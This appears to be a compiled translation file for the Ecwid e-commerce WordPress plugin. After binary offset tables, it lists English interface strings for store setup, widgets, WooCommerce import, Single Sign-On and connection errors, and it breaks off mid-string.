���ÛU��(���æU�����V�� ���V�����V��±���#V��.���ÕV��Û���W��D���àW��h���%X�����ŽX��_���“X��C���óX�����7Y�����IY��/���_Y��/���Y�����¿Y��/���ÔY��(���Z�����-Z��9���GZ��I���Z��2���ËZ��"���þZ��:���![�����\[��"���t[��!���—[�����¹[�����Ø[�����Ý[�����ñ[��$��� \��*���1\��B���\\�����Ÿ\�� ���½\�����È\�� ���Ý\�����è\��+���ï\�����]��-���,]��P���Z]�����«]��#���Á]��'���å]��)��� ^�� ���7^�����X^��%���g^��+���^��+���¹^�����å^�����_�����_�����!_�� ���2_��$���?_��9���d_��%���ž_��:���Ä_�����ÿ_�����`�����`�����&`�����(`�� ���=`�� ���K`�� ���Y`�� ���c`�����o`�����`�����†`�� ���Ž`�����™`�����ž`�� ���¯`�����º`�����É`�� ���Î`��–���Ø`�����oa�����„a�����ša��S���œa�����ða��'���ÿa��[���'b�� ���ƒb�����b�� ���¢b�����¬b�� ���³b�� ���¾b�����Éb�����Òb�� ���×b��9���âb�����c�� ���:c�� ���Dc�� ���Nc�� ���Xc�����bc��Ò���wc��I���Jd�����”d�����±d�����Íd�� ���èd�� ���ôd�� ���e�����e�� ��� e�����-e�����@e�����Ue�����]e�����de��þ���je��å���if��#���Og�����sg�� ���‚g��ß���Œg�����lh�����th�� ���i�� ���i�����i�����%i��O��*i��4���zj�����¯j�� ���Áj�� ���Îj�����Ûj�����äj�� ���ìj�����új�� ����k����� k�����k�����'k�����:k�����Rk�� ���jk�����vk�����…k�����˜k�����³k��+���Ëk�����÷k�� ��� l�����l�����*l�����Bl�����al�� ���xl�����†l��I���l��'���Ùl�����m�����m�����$m�����=m�����Em��#���Xm�� ���|m�����†m�� ���m�����šm�����©m�����¹m��"���Òm�����õm��%���n�� ���4n�����>n�����Vn�����en�����…n�����n�����“n�����•n�����™n�����Ÿn�����®n��*���³n�� ���Þn�����ën�����òn�����o�����o�����/o�� ���8o�����Co�����So�����do�����vo�� ���‡o��"���”o�����·o�����Ëo�� ���Ýo�����êo�����üo�����p����� p�����p�� ���"p�����0p��#���Kp�����op�����‚p�����¢p�����·p�����¼p�����Ûp��V���ëp�� ���Bq�� ���cq�����qq�� ���ƒq�����‘q��&���¥q��(���Ìq�����õq�����r�� ���&r�����2r�� ���Br�� ��cr�� ���ns�����ys��(���“s��*���¼s��‡��çs�� ���ow�� ���zw�����‡w��•���Žw��.���$x�����Sx�����Yx�����jx�����€x�����”x�����¥x�����µx��Ü���¾x��ƒ���›y�����z�����0z�� ���Az�����Lz�����\z�����rz�����ƒz�����’z�����£z�����¶z�����Îz�����âz�� ���ýz�����{�����{�����${�����4{�����I{�� ���O{��/���Z{��N���Š{�����Ù{�� ���Þ{��4���é{��¨���|��=���Ç|��œ���}��-���¢}��Á���Ð}��%���’~��M���¸~�������P�����H���h��P���±�����€�����€�� ���€�� ���"€�����/€�����A€��’���H€��©���Û€��®���…�� ��4‚��E��>ƒ��‰���„…��]���†��ñ���l†��%��^‡��*��„ˆ��*��¯‰��y���ÚŠ��>���T‹��¡���“‹��h���5Œ��L���žŒ�����ëŒ�� ���ôŒ�����þŒ����������,�����5�����<�����P�����l�����|����������Ÿ�����¯�����¿�����Ô�����ä�����õ�����Ž�� ���Ž��!��� Ž��j���BŽ��—���­Ž�����E��^���Å�����$�����,�����F�� ���V��‡���c�����ë�� ��ü��±���’��C��¹’��B��ý“��k���@•�����¬•��¨���­–��©���V—�� ����˜��0���!˜��^���R˜�����±˜��:���Ę��>���ÿ˜�����>™�����N™�����j™�� ���ƒ™��2���™��?���Ù��Ò���š�����Öš��’���òš�����…›��y���•›��A���œ�����Qœ�����oœ��€��Žœ��:���ž�����Jž�����_ž�� ���ž��"��� ž�����Þ��"���ßž��H���Ÿ��)���KŸ�����uŸ�����Ÿ��&���°Ÿ��(���ן������ ����� �����  �����4 ��Ü��G �����$¢��e���:¢��'��� ¢�����È¢�� ���Ë¢�����Ö¢�� ���ï¢�����ü¢��5���£�� ���M£�� ���Y£�����f£�����„£��,���Ÿ£��Š��Ì£�����W¦��B���v¦��!���¹¦�����Û¦��!���û¦�����§��0���=§�����n§�����Ч�����£§����¹§��*���½¨�����è¨�����ù¨��(���©��!���1©�����S©��*���p©�����›©��+���¹©�� ���å©��!���ó©�����ª��6���)ª��1���`ª�����’ª��C���£ª��/���çª��ø���«��!���¬�����2¬��e���À¬��n���&­��Z���•­��o���ð­��^���`®��R���¿®�����¯�����,¯�����5¯��5���O¯�����…¯��h��� ¯�� ��� °�� ���°��!���!°��)���C°�����m°�����}°�����ƒ°�����‰°�����ž°�����¤°�����«°�����À°�� ���Ó°�����à°�����þ°��:���±�����O±�� ���`±�����n±�����‡±��`���¤±�� ���²�� ���²��=���²��9���W²�����‘²�����š²�����¢²�����±²�����β�� ���á²�� ���ë²�� ���÷²��%���³��!���(³�����J³��5���j³��(��� ³�����ɳ��%���Ò³�����ø³��!����´�����"´�����2´��C���B´��(���†´�����¯´��g���Ï´�����7µ�����Qµ��.���jµ�����™µ�����¨µ�����·µ�����Àµ�����Òµ�����êµ��¢���üµ��%���Ÿ¶��!���Ŷ�� ���ç¶��!���ñ¶�����·�����-·�����J·�����e·�� ���€·�����·��8���«·��j���ä·��´���O¸�����¹�� ���¹�����(¹��I���7¹��$���¹�����¦¹�����¯¹��x���@º�����¹º��'���Ѻ��5���ùº�����/»��œ���G»�����ä»�����ö»�����ü»�����¼�����6¼��9���U¼��;���¼��0���˼�����ü¼�����½�����,½�����4½�����H½�����b½�����u½�����‘½�����¦½�����À½��2���à½��!���¾��#���5¾��I���Y¾��+���£¾�����Ͼ��6���î¾��/���%¿�����U¿��2���s¿��&���¦¿�����Í¿��E���ì¿�����2À��š���DÀ��ƒ���ßÀ��*���cÁ��P���ŽÁ��`���ßÁ��:���@Â�����{Â�� ��� Ã��¿���Ã��€���ÔÃ�����UÄ��3���[Ä�����Ä�����­Ä��'���¶Ä�����ÞÄ�����òÄ��5���Å�����DÅ��’���`Å��,���óÅ��+��� Æ��$���LÆ��t��qÆ��¤���æÇ��A��‹È��h��ÍÉ�����6Ë��)���RË�����|Ë�����ƒË�����•Ë�����§Ë�� ���·Ë��$���ÅË�����êË��Å���ùË��Ç���¿Ì�����‡Í��$���¥Í�����ÊÍ��Y���åÍ��*���?Î�����jÎ�����rÎ�����‘Î�����®Î�����¾Î��%���ÓÎ�����ùÎ����� Ï�� ���$Ï��4���/Ï�� ���dÏ�����pÏ�����…Ï��ø���‹Ï��;���„Ð��þ���ÀÐ��D���¿Ñ��g���Ò�����lÒ��p���tÒ��Q���åÒ�����7Ó�����KÓ��]���cÓ��>���ÁÓ������Ô��D���Ô��1���_Ô�����‘Ô��I���©Ô��g���óÔ��/���[Õ��$���‹Õ��7���°Õ�����èÕ��0���Ö��%���8Ö��"���^Ö�����Ö�����‡Ö��%���£Ö��/���ÉÖ��7���ùÖ��@���1×��.���r×�����¡×��#���±×�� ���Õ×�����á×��)���ê×�����Ø��>���,Ø��h���kØ��!���ÔØ��%���öØ��1���Ù��3���NÙ��'���‚Ù�����ªÙ��(���ÅÙ��)���îÙ��)���Ú�����BÚ�����aÚ�����€Ú�����‰Ú����� Ú��-���·Ú��E���åÚ��-���+Û��8���YÛ�����’Û�� ���®Û�����ºÛ�����ÏÛ�� ���ÑÛ�����òÛ�����Ü�����Ü����� Ü�����7Ü�����JÜ�����RÜ�����[Ü�� ���mÜ�����wÜ�����ˆÜ�����™Ü�����¬Ü�����²Ü��»���ÁÜ�����}Ý�����˜Ý�����´Ý��s���¶Ý�����*Þ��/���EÞ��q���uÞ�����çÞ�����ûÞ�� ���ß�����&ß�� ���-ß�� ���7ß�� ���Aß�����Lß�� ���Sß��A���_ß��#���¡ß�����Åß�����×ß�� ���éß�� ���õß�����ÿß��)��à��c���Há�����¬á�� ���Ìá��!���íá�����â�� ���â�����+â��#���<â�����`â�����qâ�����‹â�����§â�����°â�����¸â��I��½â��ú���ä��%���å�����(å�� ���:å��×���Gå�����æ��¢���$æ�����Çæ�����Ýæ�����ðæ�����÷æ��•���ç��9���–è�����Ðè�� ���èè�� ���õè�� ���é�� ��� é�����é�����*é�����1é�����Bé�����Ké�����fé��#���é��%���¥é�����Ëé�����Üé�� ���óé�� ���ê��+���5ê��7���aê��"���™ê�����¼ê�����Ðê��*���æê��1���ë��$���Cë�����hë�� ���}ë��a���‡ë��0���éë�����ì�����/ì�����?ì�����^ì�� ���gì��4���ˆì�� ���½ì�����Çì�����Ðì�����éì�����üì�����í��5���-í�����cí��(���‚í�� ���«í��"���·í�����Úí��"���ìí�����î�����î����� î�����"î�����&î�����-î�����>î��-���Fî�����tî�����„î�����‹î�����Ÿî��"���°î�����Óî�����Üî�����íî�����ï�����ï�����2ï�����Eï��0���Tï��&���…ï�����¬ï�����Àï�����×ï�����ëï�����ûï����� ð�����ð�����#ð��"���6ð��+���Yð�����…ð��/���¢ð��!���Òð�����ôð��+���üð�����(ñ��ˆ���<ñ��(���Åñ�����îñ�����ò����� ò��$���;ò��8���`ò��8���™ò��)���Òò��#���üò����� ó�����2ó��)���Nó��M��xó�����Æô��$���Õô��2���úô��L���-õ��,��zõ�� ���§ù�����´ù�����Ìù��½���Óù��?���‘ú�����Ñú�����Øú��!���ñú��#���û�����7û�����Vû�����uû����…û��™���™ü�����3ý�����Sý�����lý�� ���ý�����¢ý�����Áý�����Ùý�����ðý��$���þ��$���+þ�����Pþ�����nþ�����Žþ�����¡þ�����¨þ�����¼þ�����Ðþ�����æþ�����ìþ��G���ûþ��W���Cÿ�����›ÿ�����¡ÿ��8���±ÿ��©���êÿ��Y���”��‹���î��:���z�×���µ�'����_���µ�����X���&�^����U���Þ����4����<� ���Q� ���^����l����ˆ�»���‘�Ã���M�Ç����#��Ù�­��ý�‘���« �u���= ���³ �@��Æ �@���U��H�›���ž�P���:�®���‹�~���:�a���¹��������1����E����]����v� ���”����Ÿ�$���¶����Û����í� ���� ��������,���6����c��������š����¬� ���¿�#���Ì�œ���ð�š����…���(�]���®� ��� ��������0� ���I�¹���W�����V��&�×���}�‘��U�`��ç�‘���H�+��Ú�Ô����É���Û�'���¥ �2���Í �^����!����_!�A���v!�G���¸!�����"����"�$���6"� ���["�8���g"�;��� "�5��Ü"� ���$�¯���3$����ã$�¡���û$�R���%����ð%���� &�Û��-&�[��� (����e(� ���}(����‡(�"���Ž(����±(�"���Í(�H���ð(�)���9)����c)�(���~)����§)����¸)����Ì)����á)����÷)����*��������I��������������“��k������R��W��y����$��%���Ü�������������í���������í��‚���þ�������±��#��Æ���y���R��#������¸��J���Z��À�������?���B��^��>��ã���Ý��¯������������������ ��� ��3����1��–���U������>�����Ç��K��q��š�������¸�����³��á���Ø���-�������Ð����������—����v���8������:���/���´���g��d���Í��������������S��?��¨��È������ò����������¢���'��Þ�������,�������Ê�����j��Z������§��P��º�������W���Ã������Å���S��Ï�������]����������T������¿���Ñ�� �������6���®������ú���”�������r����������¹���c��9������¿��é��,��Ò�������¥���������k�����������£���%��������������É��â���������Ú������½�����������Ë���L���"�������a��ß��á��ü��ª��W��t����Â���������Þ������}��.��õ��÷�� ��$������K������G��û���×��ú��~���������������0������w�������Ò�����E��¨���ï���7���Õ����������������������‰���Q��Ž������F��ª�����������¤���¾��:��\���Ï��������������O�����X��'��*��3������1������ ��������Ñ�������’���»���u���������É���9��ô���E���ˆ��©������C��������������������‡���������?������8��a��_���b�������L������@��&������*��I��C���J��™���Y���«������D������ƒ������$���£������;��F��Î�������N���Ã���G������'���©�������Ä���¦��0�����@�����^���…���ë��c���ž��������Ç������u��ý��>��:����å����.���â���†���þ��M��j���[��S��PK������Ê—[!ÛÛ¡2¬�2¬�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_PR.ponu�„[µü¤�����������&�����î���õ�������ð����%��Š�� ��c������h��X���A��������#�����������z�������3�����(������������������³���û������’��������������Î�����Q��������e��������ù���À��-��������™��i���¬���Ö���D��œ��p�� �����!�������Œ�������(����������…��X��5��°��7��ó���µ��î��=�����������ß���;������N������¶���P����¹��������������T�����������²���\������Z���º��–�����������������&����� ������€��� ���`���”��ç��|��ó��«�������`��ä���¡�������<�������Œ��e���+�������A���‡��=������Ù��ø������¾���§���¥��)���‚����Q��Í���ì���Ô��Â���Ý���Ë��˜��‹��è��f��!��ë��� ���b��a���M��{�������<��7�����‘���¼�������������¯���Û�������ï������H��Ù���Ì���6��O��s���`����������9��Ÿ���*�������Æ��-��}���"�����æ��¤��r���à���œ���0������������ä��{������������������ö��������‰����������l��H����������v����d��/��­��� ��]���t���p�����2��ƒ���·������d��„������g���æ���U���‘������C��Ô���¶��w��­��×�����[���l�����������ü���Ø����������<��Ó��“���›�� ���o���1��� ����� ��è���V��f���¦���N�� ��E������Ÿ��•������������������Ó������� ��Ö��ø���������Û����������/������,��������~���������¼������������Ú��!������[��®��n�����������_��"��ò���(�������2���J��x��h���_��½�� ��ÿ���÷���o������M���‹���4��=��8���ÿ��ê�������2��Ð��� ��4�������Á��„���m�������Å��›�������²���������ì��5��n��I���;���•��)������6��L��V���������—���+��Ü��+��A��������������������š��Ê���Y��B��F������ �������)��Õ���é���m��i��ö���ý������5���^������|���z�������������È���´�����U����������x�����������\��ù��q���å���†������O���ô������Š���ç���V����������b��ð�������¡������������˜���ˆ�������¢��Á���ñ���Y�������������.��·���D������ã����������ê��B�������G��s��¬��Ì��µ�������R�����T��ñ��e���������� Choose another product� Thank you very much for contacting us! We will get back to you shortly.�"In stock" label�%s�%s Blog�%s Shopping Cart�%s Store�%s Store Page�%s plugin doesn't work well with my "%s" theme�%s product�%s products�%s products and %s categories�%s products and categories�%s shopping cart settings�%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site.�%s — Advanced settings�(You will be able to confirm the changes before the actual import)�2 columns, image on the left�2 columns, image on the right�3 columns, image on the left�3 columns, image on the right�<a %s>Online store powered by %s</a>�<a %s>Reconnect</a>�<a href="admin.php?page=�<b>%s</b> categories�A slug is the last part of a URL. You can create a custom slug for your store page. It’s better to keep it short since customers and search engines prefer short URLs. For example, use "/shop" or "/products".�Action required: please connect your %s account�Add Product�Add Store�Add Store Page to Menu�Add a category page�Add a product page�Add a search and filters page�Add a store page�Add an Online Store to Your Website�Add border�Add cart and checkout page�Add categories�Add store page to the site menu�Add storefront (product listing)�Add to Menu�Add your %s store to the website and start selling in minutes.�Add your store to other site pages�Add your storefront to the website home page to make it more prominent. You can also tweak the site home page settings in <a href="%s" target="_blank">WordPress Settings > Reading</a>�Additional store pages�Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>�Adds a cart widget for customer to see the products they added to the cart.�Adds a compact cart widget for customer to see the products they added to the cart.�Adds a shopping cart widget to the top right corner of your site.�Adds root categories list to the sidebar to let your customers navigate the store.�Adds vertical categories block to let the customer navigate your store.�Adjust your store design to fit your business needs.�Admin Label�Advanced�Advanced settings�After import, your %s store will have �All Sales Channels�Along with the store catalog, you can add other widgets and texts to the store page.�Appearance�Apps�Available qty in stock�Back to Store Settings�Background color�Bag�Basket�Before You Go�Border�Border:�Bottom left�Bottom right�Breadcrumbs�Browse all products.�Browse by Category�Bulk import products and categories to your %s store�Button color�Buy Now�Buy Now Button�Buy now buttons�By continuing, you agree to the <a %s>Terms of Service</a> and <a %s>Privacy Policy</a>.�CSS Class�CSS ID�Can you share the name of the plugin you chose?�Can you share your feedback? What was wrong?�Cancel�Cart�Cart and Checkout�Cart icon�Cart icon:�Catalog�Categories�Category�Category List Appearance�Category card layout�Category shown by default�Category thumbnail aspect ratio�Category thumbnail size�Center�Center align on a page�Change�Change store content�Choose Product�Choose product�Choose product properties to display in widget�Choose the main store page�Choose widgets to show�Click the connect button to get rights to update the product catalog�Color settings�Complete Setup�Complete setup and start selling�Configuration�Congratulations!�Connect�Connect Your Store�Connect your %s store�Connect your store�Connection error - after clicking button you need to login and provide permissions to use our plugin. Please, try again.�Contact Support�Contact us�Content�Copying products and categories.�Create Cart Page�Create Category Page�Create Product Page�Create Search Page�Create Store�Create Store Page�Create a landing page featuring one of your products.�Create a new %s account which you will use to manage your store and inventory. The registration is free.�Create a new store or connect an existing one, if you already have an %s account. The plugin will guide you through store setup and help publish it on your website.�Create new account�Create store�Current Page�Current URL slug: /<span data-ec-store-slug>%s</span>�Customer Single Sign-On�Customers�Customers can’t see your store page because it’s in draft. Publish the page to make it available for your customers.�Customers go to the cart page to review products they’ve added to the cart and proceed to the checkout.�Customize design�Customize store appearance�Customize store page address�Customize widget�Customize your store’s appearance to fit your business needs. Give your store the exact look and feel that reflects your brand.�Cyan bluish gray�Dashboard�Default category�Default category ID�Default product_ID�Default view mode on product pages�Default view mode on search results�Deleted products synchronized: %1$s out of %2$s�Demo Store�Demo store�Design�Design and content�Detect automatically�Disconnect store�Display a buy button�Display breadcrumbs�Display cart icon�Display categories menu�Display categories navigation bar�Display category page�Display footer menu�Display product page with description and a buy button�Display product with a buy button�Display search box�Display search page with filters on a side�Display shopping bag link and summary�Display shopping cart�Display shopping cart and checkout page�Display sign in link�Display sort by link�Display the shopping cart icon on site pages�Displayed product�Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site.�Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop.�Displays a list of random products.�Displays a random product from your store to attract customer attention.�Displays a simple search box for your customers to find a product in your store�Displays storefront: product listing and checkout�Displays the latest added products from your store. Show new products to returning customers to drive repeat sales.�Do not show�Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid.�Do you like your %s online store? We'd appreciate it if you add your review and vote for the plugin on WordPress site.�Done�Download <a href="%s">import log</a>�Download log file�Draft�E.g. How to set up shipping�Ecwid Badge�Ecwid Ecommerce�Ecwid Ecommerce Shopping Cart�Ecwid Menu Item�Ecwid allows you to upload your products in a form of CSV file. Learn more about this tool in the Ecwid Help Center�Ecwid e-commerce widgets�Ecwid ecommerce solution�Ecwid free shopping cart�Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won't have any banking compliance issues when selling online with Ecwid. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security">More details.</a>�Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up.�Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend <a href="%s">TemplateMonster themes</a>�Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target="_blank" href="https://www.ecwid.com/ecwid-mobile">More details.</a>�Ecwid shopping cart�Ecwid shopping cart widget�Edit�Edit Appearance�Edit Category�Edit Product�Edit Store�Edit URL Slug�Edit page�Enter an optional CSS ID to be used for this module. An ID can be used to create custom CSS styling, or to create links to particular sections of your page.�Enter optional CSS classes to be used for this module. A CSS class can be used to create custom CSS styling. You can add multiple classes, separated with a space.�Enter your Store ID�Enter your Store ID here:�Extensions for your Store�Feature a specific store category on a separate page of your site.�Feature your products in the sidebar�Filters�Filters panel position�Find your Store ID�First Page�Frequently Asked Questions�Get %s mobile app�Go to Pages�Go to Your %s Products�Greetings!�Greetings! Your %s plugin is now active.�Grid�Grid view�Help�Help customers find your store on the site. Add the store link to the site menu, create additional store pages, and highlight store products on other site pages and in sidebars.�Help customers find your store on the website.�Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products.�Here you can create the content that will be used within the module.�Here, we will help you uploading your product catalog to %s from another shopping cart or other sources.�Hide�Highlight products, categories, and other store pages by adding them to separate website pages.�Highlight your best sellers or new products in the website sidebar.�Horizontal indent�Horizontal thumbnails�How can I add a cart widget to my site sidebar?�How can I manage my store from a mobile device?�How can we help you?�How do I add store categories to the site menu?�How do I put my products in the sitemap?�How much does Ecwid cost?�How secure is this plugin? Is my store PCI DSS compliant?�How to add a single product with the add to bag button to the site pages?�How to set up a storefront on Facebook with Ecwid?�I already have an account, sign in�I couldn’t find a WordPress theme that goes well with %s�I found a better plugin�I have a problem using this plugin�I have a problem with my %s store�I use this WordPress theme: %s�Icon�Icon and item count�Icon, label and item count�Icon, label, item count and subtotal�Icon, label, item count, subtotal and link�If you have a moment, please let us know why you are deactivating:�Image and title on mouse over�Image feed�Image gallery layout�Image only�Import�Import Your Products From Woocommerce to %s�Import completed�Import completed. <a href="%s">Run again.</a>�Import creates new products and update the existing products with matching SKUs.�Import is in Progress�Import my products from WooCommerce�Import product catalog from WooCommerce�Import product catalog from other sources�Import products to your %s store�Import summary�Import your WooCommerce catalog to %s�Import your products from WooCommerce to %s�Import your products from Woocommerce to %s�Imported <b>%s</b> products�Importing %s of %s items�Insert�Insert into page�Instant site�Integration with search on your site�Is it possible to display my store on the site home page?�Is there a WordPress theme for Ecwid?�It's a temporary deactivation. Please do not ask me again.�Item count only�Justify�Knowledge Base�L�Label and item count�Landscape 3:2�Landscape 4:3�Last Page�Last update�Latest Products�Layout�Layout:�Learn more�Left�Light green cyan�Link color�Linked product�List�List view�Looks like your site does not support remote POST requests that are required for %s API to work. Please, contact your hosting provider to enable cURL.�Luminous vivid amber�Luminous vivid orange�M�Make your store accessible from the site menu so your customers can easily find it.�Manage Sidebar�Manage Store on iPhone, iPad or Android�Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page.�Manage store�Manage storefront�Marketing�Mobile�My Account�My Profile�My Sales�Name�Navigation�Need help importing your products from WooCommerce to %s?�Never show this message again�Next Page�Next page�No Thanks�No border�Not synchronized yet�Note: when enabled, the cart widget is always displayed in preview to make it easier to customize it. The "Show on store pages" and "Show when empty" options will apply to the cart widget on site when published�Nothing found for <span class="empty-page__term">"{{ data.term }}"</span>�Number of categories per row�Number of products per page�Number of products to show�On the left�On the right�Online Store�Online Store Apps�Online store�Open control panel�Open store dashboard�Options�Orders�Other�Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target="_blank" href="%s">pricing page.</a><br /><br />Pro Tip: You can also save money by enrolling in our annual plans.�Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">our customer support team</a>.�Page with that name already exists.�Pale cyan blue�Pale pink�Part of the products have not been copied to %1$s, because you reached the products limit on your pricing plan in %1$s. If you want to import more products, please consider <nobr><a %2$s>upgrading your %1$s plan.</a></nobr>�Payment�Personalize your storefront's appearance and edit the content on the store page to reflect your brand and stay connected with your customers.�Pick Category�Pick Product�Picture�Pill�Please mind the maximum number of products and categories you can have in your Ecwid store. This import tool will automatically stop when the store products limit is reached. To check the current store limit or increase it, please see the <nobr><a %s target="_blank">"Billing & Plans"</a></nobr> page in your Ecwid store control panel.�Please subscribe to a paid plan to get this feature.�Plugins for Ecwid�Portrait 2:3�Portrait 3:4�Position�Preview�Previous Page�Price�Price color�Product�Product Card Large�Product Card Small�Product List Appearance�Product Page Appearance�Product SKU�Product Search�Product Search Box�Product Search and filters�Product card text align�Product catalog will be shown automatically�Product page layout�Product price�Product quantity�Product sidebar content�Product thumbnail aspect ratio�Product thumbnail size�Product title�Products�Products are successfully synchronized. The product pages are up to date.�Products synchronized: %1$s out of %2$s�Promote your store�Provide access.�Provided by <a %s>%s</a>�Publish�Publish Store Page�Publish the page to use this option�Published�Quantity�Questions?�Random Product�Random Products�Rate %s at WordPress.org�Re-connect to Enable Control Panel�Recently Viewed Products�Recommendations for Your Online Store�Rectangle�Refresh categories list�Register at %s�Report a problem with the store�Reports�Right�S�SKU�Sales�Sales channels�Save�Save and connect your %s store to the site�Save changes�Search�Search and Filters�Search products�Search the Knowledge Base�See more�Select All�Select category�Selected Product�Selected category�Sell on Facebook�Send Message�Send a message to our support team�Send message failed�Set Up Your Store�Set manually�Set up your store�Settings�Setup�Shipping & Pickup�Shop�Shopping Cart�Shopping Cart (deprecated)�Shopping Cart Floating (deprecated)�Shopping Cart Icon�Shopping Cart Mini (deprecated)�Shopping Cart Widget�Show�Show additional image on hover�Show categories�Show customers that they can use a search and filters to find desired products faster.�Show description under the image�Show minicart�Show on all pages�Show on hover�Show on store pages�Show price inside the "Buy now" button�Show price inside the «Buy now» button�Show product card border�Show product thumbnails�Show search�Show when empty�Show your store on the home page�Single Sign-On allows your customers to have a single login for your WordPress site and your %s. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again.�Small icon�Small icon and item count�Some of the items could not be imported.�Sorry we're having technical difficulties.�Sorry, there is a problem. This page is supposed to display your store Control Panel. However, this Wordpress site doesn't seem to be able to connect to the Ecwid server to show your store dashboard here. This is likely caused by your server misconfiguration and can be fixed by your hosting provider. Here is a more techy description of the problem, which you can send to your hosting provider: "The Wordpress function wp_remote_post() failed to connect a remote server because of some error: "%s". Seems like HTTP POST requests are disabled on this server". <br /><br />Please feel free to contact us at <a %s>wordpress@ecwid.com</a> and we will help you contact your hosting and ask them to fix the issue. <br /><br /> Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at <a %s>my.ecwid.com</a>. Your store front is working fine as well and you can check it here: <a %s>%s</a>.�Square 1:1�Start Import�Status�Stay connected with your customers. Update the content of your store anytime to tell customers about ongoing promotions and what's new in your store.�Still have questions about Ecwid? Let us know!�Store�Store Categories�Store Categories Menu�Store Category Page�Store Front Page�Store Home Page�Store ID�Store ID is a unique identifier of any %1$s store, it consists of several digits. You can find it on the "Dashboard" page of %1$s control panel. Also the Store ID will be sent in the Welcome email after the registration.�Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel on the <a %2$s>Dashboard page</a>.�Store Link Title�Store Navigation�Store Page�Store Page Link�Store Root Categories�Store appearance�Store elements�Store management�Store page content�Store page on your site�Store root category�Store with Categories Menu�Storefront�Subject�Submit & Deactivate�Switch to draft�Synchronize products�Table�Table view�Take a few simple steps to complete store setup�Take advantage of powerful apps and extensions designed to enhance your store.�Text�Text color�Thank you for choosing %s to build your online store�The block is hidden because you don't have categories in your store. <a target="_blank" href="admin.php?page=ec-store-admin-category-id-0-mode-edit">Add categories.</a>�The category that is shown by default on the Store Front Page�The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps.�The plugin doesn't support the feature I want�The shopping cart icon shows the number of items in the cart and helps customers proceed to the checkout. Additionally, you can <a href="%s" target="_blank">adjust the cart icon appearance</a>.�The store is not visible on your site�The store top-level categories are automatically added to this drop-down menu�Themes for Ecwid�This import will copy your WooCommerce products and categories to your %s store.�This is a demo store. Create your store to see your store products here.�This will change the label of the module in the builder for easy identification.�Title�Title on image�Title only�Title or SKU�Title under image�Title:�To add extra functions to your store, drag and drop %s store elements on your site. When you're done, you can get back to modifying your settings.�To add your store to your website, put your %1$s Store ID in the field below. If you don't have an %1$s account yet, create one for free on the <a %2$s>%1$s website</a>.�To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>�To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s store. This will only require you to accept permissions request – so that the plugin will be able to list your products in the "Add product" dialog.�To create sitemap for your Wordpress site we suggest using <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/">Google XML Sitemaps</a> or <a target="_blank" href="https://wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target="_blank" href="https://www.ecwid.com/pricing">paid Ecwid users</a>.�To display your store on this site, you need to allow WordPress to access your %1$s products. Please press connect to provide permission.�To enable this feature, the plugin needs a permission to read your store product information.�To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow">How to use it.</a>�To improve the look and feel of your product page and manage its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>�To manage your store, go to <a %s>the Store Dashboard page</a>�To sell using %1$s, you must allow WordPress to access the %1$s plugin. The connect button will direct you to your %1$s account where you can provide permission.�To show your storefront instead of the demo store, connect your existing %s account or create a new one.�To start selling, add a page to your site where the storefront will display.�Top left�Top right�Try another search.�Type in your message here�URL Slug�Update�Update your catalog�Upgrade to get this feature�Vertical indent�Vertical thumbnails�Very dark gray�Very light gray�View Store Page�View demo store page�View store page�Visit storefront�Vivid cyan blue�Vivid green cyan�Vivid red�Want to connect another %s store?�Warning: some of your online store features are disabled. Please contact your hosting provider to resolve.�We found you have a WooCommerce installed. Your WooCommerce store has %1$s products and %2$s categories. Would you like to import it to %3$s?�We noticed you have WooCommerce installed. If you want to easily copy your WooCommerce products to %s, this tool will help you.�We're synchronizing your products. This may take a few minutes. Please do not reload the page.�Website�What feature do you need?�What was wrong?�What's next?�While your store is not connected, a demo store displays on your site. Check it to get the idea of how your store may look on the 